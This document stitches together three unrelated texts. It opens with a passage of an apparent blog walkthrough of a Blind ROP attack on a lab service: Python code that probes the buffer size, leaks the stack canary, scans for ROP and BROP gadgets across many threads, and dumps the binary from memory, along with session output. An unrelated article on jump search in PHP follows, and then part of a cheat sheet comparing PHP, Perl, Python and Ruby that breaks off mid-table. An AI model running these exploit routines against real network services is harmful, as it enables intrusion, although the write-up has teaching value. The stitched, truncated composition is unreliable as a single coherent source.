    CRASH_MSG = "You broke the internet!\n"
    def find_max_payload():
        p = connect("192.168.56.101", 31337)
        start = 0
        stop = 150
        steps = 0
        payload = "A"
        while True:
            steps = (start + stop)/2
            p.send(payload*steps)
            time.sleep(2)
            output = p.recv()
            if CRASH_MSG in output:
                print "[*] Crashed on %i" %steps
                stop = steps
            else:
                print "[*] Didn't crash on %i" %steps
                start = steps
                p.send(payload*(steps+1))
                time.sleep(2)
                output = p.recv()
                if CRASH_MSG in output:
                    break
        print "[+] The buffer size is %i" % steps
        p.close()
        time.sleep(2)
        payload = "A"*steps
        return payload
    
[/code]

Running the script with debug info shows that it can find the payload in fewer
steps.



[code]

    ➜  python
    >>> from exploit import *
    >>> payload = find_max_payload()
    [+] Opening connection to 192.168.56.101 on port 31337: Done
    [*] didn't crash on 75
    [*] crashed on 112
    [*] didn't crash on 93
    [*] didn't crash on 102
    [*] crashed on 107
    [*] didn't crash on 104
    [+] The buffer size is 104
    [*] Closed connection to 192.168.56.101 port 31337
    
[/code]

Next step is to leak the 8 bytes stack canary itself, we can take advantage of
the fact that input string is printed as it is. Given the fact that 104 bytes
payload prints clean string while 105 bytes payload prints some leaked bytes,
We can deduce that the least significant bit of the stack canary is 0x00 and
we can read the rest of the canary from the leaked string.



[code]

    >>> p = connect("192.168.56.101", 31337)
    [x] Opening connection to 192.168.56.101 on port 31337
    [x] Opening connection to 192.168.56.101 on port 31337: Trying 192.168.56.101
    [+] Opening connection to 192.168.56.101 on port 31337: Done
    >>> p.send(payload+"\x01")
    >>> leak = p.recv().strip(payload)
    >>> leak
    '\x013\xb2\xe1\xcc\xcf?\xcc 2\x96\xa3\xfd\x7fYou broke the internet!\n'
    >>> leak = leak[0:8]
    >>> stack_canary = u64(leak) & 0xffffffffffffff00
    >>> print hex(stack_canary)
    0xcc3fcfcce1b23300
    >>> p.send(payload+p64(stack_canary))
    >>> p.recv()
    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    
[/code]

So We succeeded leaking the stack canary, we can create a function that do so
and add it to out ` exploit.py `.



[code]

    def leak_stack_canary(p, payload):
        p.send(payload+"\x01")
        time.sleep(2)
        leak = p.recv().strip(payload)
        leak = leak[0:8]
        stack_canary = u64(leak) & 0xffffffffffffff00
        p.send(payload+p64(stack_canary))
        time.sleep(2)
        if p.recv() != payload:
            print "[!] Failed to leak stack canary"
            return None
        print "[+] Stack canary 0x%x" % stack_canary
        return stack_canary
    
[/code]

Note that the stack canary will always change every new session, but all
forked process will share the same stack canary.

## Guessing the program base.

In normal Linux binaries it is safe to assume that the default option is to
load ELF files at address 0x400000. It is good educated guess based on simple
test on my host machine.



[code]

    ➜ ld -verbose | grep -i text-segment
      PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;
    
[/code]

The problem is that this default can be easily changed and there is no way to
tell if it is the same on the guest VM with out leaking some addresses. We
will follow the same technique used to leak stack canaries. The only
difference is that we will try to make an educated guesses in an attempt to
understand what is the leaked values.



[code]

    >>> p.send(payload+"A"*8)
    >>> leak = p.recv().strip("A").strip("You broke the internet!\n")
    >>> len(leak)
    5
    >>> leak = leak+"\x00"*(8-len(leak))
    >>> hex(u64(leak))
    '0x7ffda39632'
    >>>
    
[/code]

This first leaked address looks like an address of stack location or maybe
heap because of the standard ` 0x7ffXXXXXXX `, but most likely it is not
pointer inside the binary.



[code]

    >>> p.send(payload+"A"*16)
    >>> leak = p.recv().strip("A").strip("You broke the internet!\n")
    >>> len(leak)
    3
    >>> leak = leak+"\x00"*(8-len(leak))
    >>> hex(u64(leak))
    '0x40077b'
    >>>
    
[/code]

The second leaked address is 0x40077b so we can rest assured that the base
address is 0x400000 and that the 0x7ffda39632 is the old rbp so the stack
looks more like this: <img src='img/Temp2_1078.png' width='636' height='659'
alt='Stack layout' />

## Finding Basic ROP Gadget

Now we need to search the address space for basic ROP gadgets, we can classify
them into:

  * ROP gadgets that leak more data \(most interesting\).
  * ROP gadgets that exit cleanly.
  * ROP gadgets that give infinite loop.
  * ROP gadgets that will crash \(least interesting\).

We will be looking for portable ROP gadgets. Portable ROP gadgets should
ideally be a no-return gadget, and make the minimal number of assumptions
about stack, registers states. Currently we can control the stack, and RBP
register as well as bunch or future RIP. Our tactic will be to fill the stack
mostly with “A”s, point the RBP to 0x0 and make future RIP points to some non-
valid pointer that we can guarantee that if our current ROP gadget ever
returned the system will crash. If we didn’t get enough gadgets we can relax
our constrains later, but for now lets just hunt for the best.

The problem here is that we will need to scan big portion of the address
space, thus it will take long time if we are going to scan first 0x1000 byte
\(which is pulled out thin air\) it will take around 4 hour. To solve this
problem we need to open multiple connections and run multi-threaded ROP gadget
scanners. For example if we used 30 threads with 30 connections it should scan
our address space in less than 10 minutes which is big achievement. We will
add this snippet to ` exploit.py `:



[code]

    _lock = threading.Lock()
    def get_next(it):
        with _lock:
            offset = next(it)
            return offset
    
    def scan_for_gadgets(payload, it, base=0x400000):
        p = connect("192.168.56.101", 31337)
        try:
            stack_canary = p64(leak_stack_canary(p, payload))
        except:
            p.close()
            return
        offset = 0
        while True:
            try:
                offset = get_next(it)
            except:
                p.close()
                return
            if offset % 0x100 == 0:
                print "[!] currently at 0x%x" % offset
            # we have  no interest in instructions that reference base pointer
            rbp = p64(0)
            rip = p64(base+offset)
    	# Also I want no assumptions about values stored before rip
            p.send(payload+stack_canary+rbp+rip+"A"*128)
            time.sleep(2)
            output = p.recv()
            if CRASH_MSG not in output:
                print "[*] Safe gadget at " + hex(base + offset)
            if output.strip(payload) not in["", CRASH_MSG]:
                print "[*] Memory leak at " + hex(base + offset)
            p.send("A\x00")
            time.sleep(2)
            output = p.recv(timeout=1)
            if output == "":
                print "[+] Stop Gadget at " + hex(base + offset)
                break
    
[/code]

Now it is time to build our multi threaded script that will scan the binary
for all sort of ROP gadgets:



[code]

    >>> from exploit import *
    >>> payload=find_max_payload()
    [x] Opening connection to 192.168.56.101 on port 31337
    [x] Opening connection to 192.168.56.101 on port 31337: Trying 192.168.56.101
    [+] Opening connection to 192.168.56.101 on port 31337: Done
    [*] Didn't crash on 75
    [*] Crashed on 112
    [*] Didn't crash on 93
    [*] Didn't crash on 102
    [*] Crashed on 107
    [*] Didn't crash on 104
    [+] The buffer size is 104
    [*] Closed connection to 192.168.56.101 port 31337
    >>> iterator = iter(range(0x1000))
    >>> for i in range(35):
    ...  threading.Thread(target=scan_for_gadgets, args=(payload, iterator)).start()
    ...  time.sleep(1)
    ... 
    [x] Opening connection to 192.168.56.101 on port 31337
    OUTPUT TRUNCATED
    [x] Opening connection to 192.168.56.101 on port 31337: Trying 192.168.56.101
    [+] Opening connection to 192.168.56.101 on port 31337: Done
    [+] Stack canary 0xca3bb85eec562500
    [!] currently at 0x100
    [!] currently at 0x200
    [!] currently at 0x300
    [!] currently at 0x400
    [!] currently at 0x500
    [!] currently at 0x600
    [*] Safe gadget at 0x400620
    [*] Safe gadget at 0x400622
    [*] Safe gadget at 0x400623
    [*] Safe gadget at 0x400624
    [*] Safe gadget at 0x400625
    [*] Safe gadget at 0x400626
    [*] Safe gadget at 0x400627
    [*] Safe gadget at 0x400629
    [*] Safe gadget at 0x40062f
    [*] Safe gadget at 0x40062d
    [*] Safe gadget at 0x40062e
    [*] Safe gadget at 0x400630
    [*] Safe gadget at 0x400636
    [*] Safe gadget at 0x400637
    [*] Safe gadget at 0x40063d
    [*] Safe gadget at 0x40063e
    [!] currently at 0x700
    [*] Safe gadget at 0x4006f7
    [*] Safe gadget at 0x4006f8
    [*] Safe gadget at 0x40070f
    [*] Safe gadget at 0x400711
    [*] Safe gadget at 0x400710
    [*] Safe gadget at 0x400712
    [*] Memory leak at 0x400727
    [*] Memory leak at 0x400728
    [*] Memory leak at 0x400729
    [*] Memory leak at 0x40072b
    [*] Safe gadget at 0x400760
    [*] Safe gadget at 0x400761
    [*] Safe gadget at 0x400762
    [*] Safe gadget at 0x40076
    [*] Safe gadget at 0x400768
    [*] Safe gadget at 0x40076d
    [*] Safe gadget at 0x40076f
    [*] Safe gadget at 0x400771
    [*] Safe gadget at 0x400776
    [*] Safe gadget at 0x40078f
    [*] Safe gadget at 0x400790
    [*] Safe gadget at 0x400791
    [*] Safe gadget at 0x400793
    [*] Safe gadget at 0x40079f
    [*] Safe gadget at 0x4007a6
    [*] Safe gadget at 0x4007a7
    [*] Safe gadget at 0x4007a9
    [*] Safe gadget at 0x4007ae
    [!] currently at 0x800
    [!] currently at 0x900
    [!] currently at 0xa00
    [!] currently at 0xb00
    [!] currently at 0xc00
    [!] currently at 0xd00
    [!] currently at 0xe00
    [!] currently at 0xf00
    [*] Closed connection to 192.168.56.101 port 31337
    OUTPUT TRUNCATED
    [*] Closed connection to 192.168.56.101 port 31337
    
[/code]

## Finding BROP gadget

At this current stage we found bunch of ROP gadgets that either print some
leaked data or exits the forked process cleanly. For now we will be interested
in the second type of gadgets that did nothing but exit cleanly. Come to think
of it, it is not obvious what can we achieve with this kind of gadgets. The
idea is right now we are trying to gather the footprint of as much code as
possible. For example we can do another round of ROP gadget scanning but with
more options for the final outcome, for example third type of gadgets that
crashes when they are called alone, but when they are chained with safe gadget
they exit cleanly. Then we can study the effect of such gadgets on ROP gadgets
that do memory leaks, maybe they can help controlling where the memory is
leaked from thus leaking the whole binary. Or we can then use them to find
other exciting gadgets.

In particular, we are interested in a very unique gadget that is common in
compiler generated binaries. These gadgets behaves as the following, when
called alone they crash but when they are followed by 48 bytes then a safe
gadget they exits cleanly. Moreover, if we moved 7 bytes from the location of
the gadget \(offset + 7\), we will will end up in another gadget, that gadget
will crash if it is all on it own but will exit cleanly if followed by 16 byte
and safe gadget, it exits cleanly. Actually the story doesn’t end here\! If we
moved 9 bytes \(added 9 to the offset\), we will have a third ROP gadget that
will crash if called alone it will crash but if followed by 8 bytes then a
safe gadget it will will exits cleanly. The gadget we are looking for is none
other than the callee saved register resorting subroutine\! We will call it
BROP gadget. It is really hard to come with a random ROP gadget that have same
properties but do something else.

Lets have a deeper look at this specific ROP gadget to understand how it works
and how is it so valuable to us. First this is the standard callee saved
register restoring subroutine. The BROP gadget is 6 pop instructions each pop
8 bytes into the appropriate register followed by a return, so it explains why
is needs 48 bytes to consume before it can return safely.



[code]

    0x00000000      5b             pop rbx
    0x00000001      5d             pop rbp
    0x00000002      415c           pop r12
    0x00000004      415d           pop r13
    0x00000006      415e           pop r14
    0x00000008      415f           pop r15
    0x0000000a      c3             ret
    
[/code]

If we seek 7 bytes forward we will be in the middle of the instruction ` pop
r15 ` which is legit instruction too\! Now this time it is 2 pops followed by
a return.



[code]

    0x00000007      5e             pop rsi
    0x00000008      415f           pop r15
    0x0000000a      c3             ret
    
[/code]

Now if we move till offset ` 0x00000009 ` we will end up with a 1 pop followed
by a return



[code]

    0x08000189      5f             pop rdi
    0x0800018a      c3             ret
    
[/code]

If we are lucky to find this gadget we can set and control all sort of
registers required to either trigger a system call or do controlled memory
leak and other fun stuff. The only problem is that there is absolutely no
guarantee what so ever that we will be able to find it either in our service
or in any other program. The only reason we are looking for it is that modern
compilers used to have them for 64 bit architectures, and they are so good
that they worth the trouble looking for them in particular. Given the fact
that BROP gadgets can save us time and effort typing to identify some other
random gadget. We will add this function to our ` exploit.py `



[code]

    def scan_for_brop(payload, it, safe_gadget, base=0x400000):
        p = connect("192.168.56.101", 31337)
        try:
            stack_canary = p64(leak_stack_canary(p, payload))
        except:
            p.close()
            return
        offset = 0
        while True:
            try:
                offset = get_next(it)
            except:
                p.close()
                return
            if offset % 0x100 == 0:
                print "[!] currently at 0x%x" % offset
            rbp = p64(0)
            rop_chain = p64(base + offset) + "A" * 8 * 6 + p64(safe_gadget)
            p.send(payload + stack_canary + rbp + rop_chain)
            time.sleep(2)
            output = p.recv()
            if CRASH_MSG in output:
                continue
            rop_chain = p64(base + offset) + "A" * 128
            p.send(payload + stack_canary + rbp + rop_chain)
            time.sleep(2)
            output = p.recv()
            if CRASH_MSG not in output:
                continue
            rop_chain = p64(base + offset + 7) + "A" * 8 * 2 + p64(safe_gadget)
            p.send(payload + stack_canary + rbp + rop_chain)
            time.sleep(2)
            output = p.recv()
            if CRASH_MSG in output:
                continue
            rop_chain = p64(base + offset + 9) + "A" * 8 + p64(safe_gadget)
            p.send(payload + stack_canary + rbp + rop_chain)
            time.sleep(2)
            output = p.recv()
            if CRASH_MSG in output:
                continue
            print "[+] BROP gadget at " + hex(base + offset)
    
[/code]

Then run This python script in hope that it will find anything



[code]

    >>> from exploit import *
    >>> payload = find_max_payload()
    [x] Opening connection to 192.168.56.101 on port 31337
    [x] Opening connection to 192.168.56.101 on port 31337: Trying 192.168.56.101
    [+] Opening connection to 192.168.56.101 on port 31337: Done
    [*] Didn't crash on 75
    [*] Crashed on 112
    [*] Didn't crash on 93
    [*] Didn't crash on 102
    [*] Crashed on 107
    [*] Didn't crash on 104
    [+] The buffer size is 104
    [*] Closed connection to 192.168.56.101 port 31337
    >>> iterator = iter(range(0x1000))
    ...  threading.Thread(target=scan_for_brop, args=(payload, iterator, 0x400620)).start()
    ...  time.sleep(0.7)
    ... 
    [x] Opening connection to 192.168.56.101 on port 31337
    OUTPUT TRUNCATED
    [+] Stack canary 0x87c119a484fb3c00
    [!] currently at 0x100
    [!] currently at 0x200
    [!] currently at 0x300
    [!] currently at 0x400
    [!] currently at 0x500
    [!] currently at 0x600
    [!] currently at 0x700
    [!] currently at 0x800
    [+] BROP gadget at 0x40081a
    [!] currently at 0x900
    [!] currently at 0xa00
    [!] currently at 0xb00
    [!] currently at 0xc00
    [!] currently at 0xd00
    [!] currently at 0xe00
    [!] currently at 0xf00
    [*] Closed connection to 192.168.56.101 port 31337
    OUTPUT TRUNCATED
    [*] Closed connection to 192.168.56.101 port 31337
    
[/code]

Now we have some memory write primitives and register controlling primitives,
time to move to next step\!

## Leak all the bits\!

At this point It should be clear what exactly are we aiming for, We will try
to leak the whole binary file starting from address 0x400000 for purpose of
creating proper ROP chain. It is known that at ELF file signature is stored at
this offset.



[code]

    ➜  xxd /bin/ls | head -c 20
    00000000: 7f45 4c46
    
[/code]

Our Strategy will be to first try the few ROP gadgets that happened to create
memory leaks, we hope that at least one of them do arbitrary memory read, if
none worked, we will re-scan the whole address space, perhaps we missed the
right gadget because it requires precise control over RSI register \(maybe it
was nulled out right before calling our gadget\).



[code]

    >>> from exploit import *
    >>> payload = find_max_payload()
    [x] Opening connection to 192.168.56.101 on port 31337
    [x] Opening connection to 192.168.56.101 on port 31337: Trying 192.168.56.101
    [+] Opening connection to 192.168.56.101 on port 31337: Done
    [*] Didn't crash on 75
    [*] Crashed on 112
    [*] Didn't crash on 93
    [*] Didn't crash on 102
    [*] Crashed on 107
    [*] Didn't crash on 104
    [+] The buffer size is 104
    [*] Closed connection to 192.168.56.101 port 31337
    >>> p = connect("192.168.56.101", 31337)
    >>> stack_canary = p64(leak_stack_canary(p, payload))
    [+] Stack canary 0x1cbab5d373f0f00
    [x] Opening connection to 192.168.56.101 on port 31337
    [x] Opening connection to 192.168.56.101 on port 31337: Trying 192.168.56.101
    [+] Opening connection to 192.168.56.101 on port 31337: Done
    >>> leak_list = [0x400727, 0x400728, 0x400729, 0x40072b]
    >>> rbp = p64(0)
    >>> brop = p64(0x40081a+7) # we want the gadget that controls RSI
    >>> rsi = p64(0x400000)
    >>> r15 = "A"*8 # we just don't care about this one
    >>> rbp = p64(0)
    >>> for leak in leak_list:
    ...     rop_chain = brop + rsi + r15 +p64(leak)
    ...     p.send(payload + stack_canary + rbp + rop_chain)
    ...     time.sleep(2)
    ...     output = p.recv()
    ...     if "\x7fELF" in output:
    ...         print "[*] Arbitrary memory read at " + hex(leak)
    ...         print "[*] Leaked data: " + output.strip("A").strip(CRASH_MSG).encode("hex")
    ... 
    [*] Arbitrary memory read at 0x40072b
    [*] Leaked data: 7f454c46020101
    
[/code]

So it seams that the We found the perfect ROP gadget for our full binary leak
exploit. What we want to do now is not only leak data at address 0x400000 but
leak the whole binary .text segment. This way our attack will no longer be
blind and we will be able to create appropriate ROP chain that can finally do
Arbitrary code execution.

Unfortunately We need the bytes to be grabbed in order so multithreading will
not work here well the way it used to be before so I will just wait for it to
finish on one thread. We will add this snippet to ` exploit.py `



[code]

    def blind_bin_leak(payload, brop, leak, file_name, base=0x400000):
        o = base
        f = open(file_name, "w")
        p = connect("192.168.56.101", 31337)
        try:
            stack_canary = p64(leak_stack_canary(p, payload))
        except:
            p.close()                                                            
            return
        rbp = p64(0)
        r15 = "A"*8
        rsi = base
        while rsi < o + 0x1000:
            if rsi % 0x100 == 0:
                print "[!] currently at 0x%x" % rsi
            rop_chain = p64(brop) + p64(rsi) + r15 +p64(leak)
            p.send(payload + stack_canary + rbp + rop_chain)
            time.sleep(2)
            output = p.recv().strip(payload).strip(CRASH_MSG)
            if output == "":
                f.write("\x00")
                rsi += 1
            else:
                f.write(output)
                rsi += len(output)
            f.flush()
        p.close()
    
    
[/code]

Now it is time to leak all the binary. It should take time so one needs to be
patient.



[code]

    >>> from exploit import *
    >>> payload = find_max_payload()
    [x] Opening connection to 192.168.56.101 on port 31337
    [x] Opening connection to 192.168.56.101 on port 31337: Trying 192.168.56.101
    [+] Opening connection to 192.168.56.101 on port 31337: Done
    [*] Didn't crash on 75
    [*] Crashed on 112
    [*] Didn't crash on 93
    [*] Didn't crash on 102
    [*] Crashed on 107
    [*] Didn't crash on 104
    [+] The buffer size is 104
    [*] Closed connection to 192.168.56.101 port 31337
    blind_bin_leak(payload, 0x40081a+7, 0x40072b, "bin.elf")
    [!] currently at 0x400000
    [!] currently at 0x400100
    [!] currently at 0x400200
    [!] currently at 0x400300
    [!] currently at 0x400400
    [!] currently at 0x400500
    [!] currently at 0x400600
    [!] currently at 0x400700
    [!] currently at 0x400800
    [!] currently at 0x400900
    [!] currently at 0x400a00
    [!] currently at 0x400b00
    [!] currently at 0x400c00
    [!] currently at 0x400d00
    [!] currently at 0x400e00 
    [!] currently at 0x400e00 
    
[/code]

Now all we can do is sitting tight and watch the binary file being leaked from
memory.

[code]

    00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............                  00000010: 0200 3e00 0100 0000 0640 4000 0000 0000  ..>......@@.....                  00000020: 4000 0000 0000 0000 301a 0000 0000 0000  @.......0.......                  00000030: 0000 0000 4000 3800 0900 4000 1d00 1c00  ....@.8...@.....                  00000040: 0600 0000 0500 0000 4000 0000 0000 0000  ........@.......                  00000050: 4000 4000 0000 0000 4000 4000 0000 0000  @.@.....@.@.....                  00000060: f801                                     ..                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   
[/code]

00:00

Powered by asciinema

At the end of the day we will have a file that behaves similarly



[code]

    ➜ file bin.elf
    bin.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, missing section headers
    
[/code]

At this point constructing a reliable exploit will be somehow trivial and I
wouldn’t discuss it ;\) \(Note: You will never know how to control RAX untill
you try it your self, Hint: use your imagination\).

**__ Tags: ** paper pwn

**__ Updated:** August 16, 2017

#### Share on

__ Twitter __ Facebook __ Google+ __ LinkedIn

Previous Next

  

# Computer Algorithms: Jump Search

**Created:**| _12/12/2011 9:18:03 PM_  
---|---  
**Updated:**| _12/16/2011 4:40:16 PM_  
**Author:**| __  
**Tags:**| _research algos_  
  

# Computer Algorithms: Jump Search

  

## Overview

In my previous article I discussed how the sequential \(linear\) search can be
used on an ordered lists, but then we were limited by the specific features of
the given task. Obviously the sequential search on an ordered list is
ineffective, because we consecutively check every one of its elements. Is
there any way we can optimize this approach? Well, because we know that the
list is sorted we can check some of its items, but not all of them. Thus when
an item is checked, if it is less than the desired value, we can skip some of
the following items of the list by jumping ahead and then check again. Now if
the checked element is greater than the desired value, we can be sure that the
desired value is hiding somewhere between the previously checked element and
the currently checked element. If not, again we can jump ahead. Of course a
good approach is to use a fixed step. Let’s say the list length is n and the
step’s length is k. Basically we check list\(0\), then list\(k-1\),
list\(2k-1\) etc. Once we find the interval where the value might be \(m\*k-1
< x <= \(m+1\)\*k – 1\), we can perform a sequential search between the last
two checked positions. By choosing this approach we avoid a lot the weaknesses
of the sequential search algorithm. Many comparisons from the sequential
search here are eliminated.

## How to choose the step’s length

We know that it is a good practice to use a fixed size step. Actually when the
step is 1, the algorithm is the traditional sequential search. The question is
what should be the length of the step and is there any relation between the
length of the list \(n\) and the length of the step \(k\)? Indeed there is
such a relation and often you can see sources directly saying that the best
length k = √n. Why is that?

Well, in the worst case, we do n/k jumps and if the last checked value is
greater than the desired one, we do at most k-1 comparisons more. This means
n/k + k – 1 comparisons. Now the question is for what values of k this
function reaches its minimum. For those of you who remember maths classes this
can be found with the formula -n/\(k^2\) + 1 = 0. Now it’s clear that for k =
√n the minimum of the function is reached.

Of course you don’t need to prove this every time you use this algorithm.
Instead you can directly assign √n to be the step length. However it is good
to be familiar with this approach when trying to optimize an algorithm.

Let’s cosider the following list: \(0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89,
144, 233, 377, 610\). Its length is 16. Jump search will find the value of 55
with the following steps.

<img src='img/Temp2_1560.png' width='620' alt='Jump search basic
implementation' />

Jump search skips some of the items of the list in order to improve
performance\!

## Implementation

Let’s see an example of jump search, written in PHP.

[code]

    $list = array();
     
    for ($i = 0; $i < 1000; $i++) {
    $list[] = $i;
    }
     
    // now we have a sorted list: (0, 1, 2, 3, ..., 999)
     
    function jump_search($x, $list)
    {
    // calculate the step
    $len = count($list);
    $step = floor(sqrt($len));
    $prev = 0;
     
    while ($list[($step < $len ? $step : $len)] < $x) {
    $prev = $step;
    $step += floor(sqrt($len));
     
    if ($step >= $len) {
    return FALSE;
    }
    }
     
    while ($list[$prev] < $x) {
    $prev++;
    if ($prev == ($step < $len ? $step : $len)) {
    return FALSE;
    }
    }
     
    if ($list[$prev] == $x) {
    return $prev;
    }
     
    return FALSE;
    }
     
    echo (int)jump_search(674, $list);
    
[/code]

Here we have a sorted list with 1000 elements that looks like this: \(0, 1, 2,
…, 999\). Obviously with sequential search we’ll find the value of 674 with
exactly on the 674-th iteration. Here, with jump search we can reach it on the
183-th iteration, and this shows us the advantage of jump search over the
sequential search on ordered lists.

## Further Optimization

Although all examples here deal with small lists in practice this is not
always true. Sometimes the step itself can be a very large number, so once you
know the interval where the desired value could be you can perform jump search
again.

We saw that the best size of the step is √n, but it is not a good idea to
start from the first element of the list just as we didn’t in the example
above. A better option is to begin from kth item. Now we can improve the above
solution.

<img src='img/Temp2_1559.png' width='620' alt='Basic jump search can be
slightly optimized!' />

The basic implementation of jump search can be slightly optimized\!

## Complexity

Obviously the complexity of the algorithm is O\(√n\), but once we know the
interval where the value is we can improve it by applying jump search again.
Indeed let’s say the list length is 1,000,000. The jump interval should be:
√1000000=1000. As you can see again, you can use jump search with a new step
√1000≈31. Every time we find the desired interval we can apply the jump search
algorithm with a smaller step. Of course finally the step will be 1. In this
case the complexity of the algorithm is no longer O\(√n\). Now its complexity
is approaching logarithmic value. The problem is that the implementation of
this approach is considered to be more difficult than the binary search, where
the complexity is also O\(log\(n\)\).

## Application

As almost every algorithm the jump search is very convinient for a certain
kind of tasks. Yes, the binary search is easy to implement and its complexity
is O\(log\(n\)\), but in case of a very large list the direct jump to the
middle can be a bad idea. Then we should make a large step back if the
searched value is placed at the beginning of the list.

Perhaps every one of us has performed some sort of a primitive jump search in
his life without even knowing it. Do you remember cassette recorders? We used
the “fast forward” key and periodically checked whether the tape was on our
favorite song. Once we stopped at the middle of the song we used the “rewind”
button to find exactly the beginning of the song.

This clumsy example can give us the answer of where jump search can be better
than binary search. The advantage of jump search is that you need to jump back
only once \(in case of the basic implementation\).

<img src='img/Temp2_1561.png' width='620' alt='Jump search is very useful when
jumping back is significantly slower than jumping forward!' />

Jump search is very useful when jumping back is significantly slower than
jumping forward\!

If jumping back takes you significantly more time than jumping forward then
you should use this algorithm.

Related posts:

  1. Computer Algorithms: Sequential Search
  2. Computer Algorithms: Linear Search in Sorted Lists
  3. Construct a Sorted PHP Linked List

# Scripting Languages: PHP, Perl, Python, Ruby - Hyperpolyglot

**Created:**| _10/11/2011 6:19:14 PM_  
---|---  
**Updated:**| _10/11/2011 6:19:14 PM_  
**Author:**| __  
**Tags:**| _perl cheat sheets ruby python programming php_  
  

# Hyperpolyglot

Scripting Languages: PHP, Perl, Python, Ruby

_a side-by-side reference sheet_

arithmetic and logic | strings | regexes | dates and time | arrays | dictionaries | functions | execution control | files | directories | processes and environment | libraries and modules | objects | reflection | web | tests | thanks | contact | edit  

| php \(1995\)| perl \(1987\)| python \(1991\)| ruby \(1995\)  
---|---|---|---|---  
versions used  
|  _5.3_|  _5.12; 5.14_|  _2.7; 3.2_|  _1.8; 1.9_  
implicit prologue|  _none_|  use strict;| import os, re, sys|  _none_  
show version  
| $ php \--version| $ perl \--version| $ python -V| $ ruby \--version  
interpreter  
| $ php -f foo.php| $ perl foo.pl| $ python foo.py| $ ruby foo.rb  
repl  
| $ php -a| $ perl -de 0| $ python| $ irb  
statement separator  
| ;  
  
_statements must be semicolon terminated inside \{\}_|  ;| _newline or_ ;  
  
_newlines not separators inside \(\), \[\], \{\}, triple quote literals, or
after backslash: \_| _newline or_ ;  
  
_newlines not separators inside \(\), \[\], \{\}, \`\`, '', "", or after
binary operator or backslash: \_  
block delimiters  
| \{\}| \{\}| _offside rule_| \{\}  
do end  
assignment  
| $v = 1;| $v = 1;| \# does not return a value:  
v = 1| v = 1  
parallel assignment  
| list\($x, $y, $z\) = array\(1 ,2, 3\);  
\# 3 is discarded:  
list\($x, $y\) = array\(1, 2, 3\);  
\# $z set to NULL:  
list\($x, $y, $z\) = array\(1, 2\);| \($x, $y, $z\) = \(1, 2, 3\);  
\# 3 is discarded:  
\($x, $y\) = \(1, 2, 3\);  
\# $z set to undef:  
\($x, $y, $z\) = \(1, 2\);| x, y, z = 1, 2, 3  
\# raises ValueError:  
x, y = 1, 2, 3  
\# raises ValueError:  
x, y, z = 1, 2| x, y, z = 1, 2, 3  
\# 3 is discarded:  
x, y = 1, 2, 3  
\# z set to nil:  
x, y, z = 1, 2  
swap  
| list\($x, $y\) = array\($y, $x\);| \($x, $y\) = \($y, $x\);| x, y = y, x| x,
y = y, x  
compound assignment operators: arithmetic, string, logical, bit| += -= \*=
_none_ /= %= \*\*=  
.= _none_  
&= |= _none_  
<<= >>= &= |= ^=| += -= \*= _none_ /= %= \*\*=  
.= x=  
&&= ||= ^=  
<<= >>= &= |= ^=| \# do not return values:  
+= -= \*= /= //= %= \*\*=  
+= \*=  
&= |= ^=  
<<= >>= &= |= ^=| += -= \*= /= _none_ %= \*\*=  
+= \*=  
&&= ||= ^=  
<<= >>= &= |= ^=  
increment and decrement  
| $x = 1;  
++$x;  
\--$x;| $x = 1;  
++$x;  
\--$x;| _none_|  x = 1  
\# x not mutated:  
x.succ  
x.pred  
local variable declarations  
| \# in function body:  
$v = NULL;  
$a = array\(\);  
$d = array\(\);  
$x = 1;  
list\($y, $z\) = array\(2, 3\);| my $v;  
my \(@a, %d\);  
my $x = 1;  
my \($y, $z\) = \(2, 3\);| \# in function body:  
v = None  
a, d = \[\], \{\}  
x = 1  
y, z = 2, 3| v = nil  
a, d = \[\], \{\}  
x = 1  
y, z = 2, 3  
regions which define local scope|  _top level:  
function or method body  
  
nestable \(with use clause\):  
anonymous function body_|  _top level:  
file  
  
nestable:  
function body  
anonymous function body  
anonymous block_|  _nestable \(read only\):  
function or method body_|  _top level:  
file  
class block  
module block  
method body  
  
nestable:  
anonymous function block  
anonymous block_  
global variable| list\($g1, $g2\) = array\(7, 8\);  
function swap\_globals\(\) \{  
global $g1, $g2;  
list\($g1, $g2\) = array\($g2, $g1\);  
\}| our \($g1, $g2\) = \(7, 8\);  
sub swap\_globals\(\) \{  
\($g1, $g2\) = \($g2, $g1\);  
\}| g1, g2 = 7, 8  
def swap\_globals\(\):  
global g1, g2  
g1, g2 = g2, g1| $g1, $g2 = 7, 8  
def swap\_globals\(\)  
$g1, $g2 = $g2, $g1  
end  
constant declaration  
| define\("PI", 3.14\);| use constant PI => 3.14;| \# uppercase identifiers  
\# constant by convention  
PI = 3.14| \# warning if capitalized  
\# identifier is reassigned  
PI = 3.14  
to-end-of-line comment  
| // comment  
\# comment| \# comment| \# comment| \# comment  
comment out multiple lines  
| /\* comment line  
another line \*/| =for  
comment line  
another line  
=cut|  _use triple quote string literal:_  
'''comment line  
another line'''| =begin  
comment line  
another line  
=end  
null  
| NULL \# case insensitive| undef| None| nil  
null test  
| is\_null\($v\)  
\! isset\($v\)| \! defined $v| v == None  
v is None| v == nil  
v.nil?  
undefined variable access  
| NULL|  _error under_ use strict; _otherwise_ undef|  _raises_ NameError|
_raises_ NameError  
undefined test  
|  _same as null test; no distinction between undefined variables and
variables set to_ NULL|  _same as null test; no distinction between undefined
variables and variables set to_ undef| not\_defined = False  
try: v  
except NameError: not\_defined = True| \! defined?\(v\)  
arithmetic and logic  
| php| perl| python| ruby  
true and false  
| TRUE FALSE \# case insensitve| 1 ""| True False| true false  
falsehoods  
| FALSE NULL 0 0.0 "" "0" array\(\)| undef 0 0.0 "" "0" \(\)| False None 0 0.0
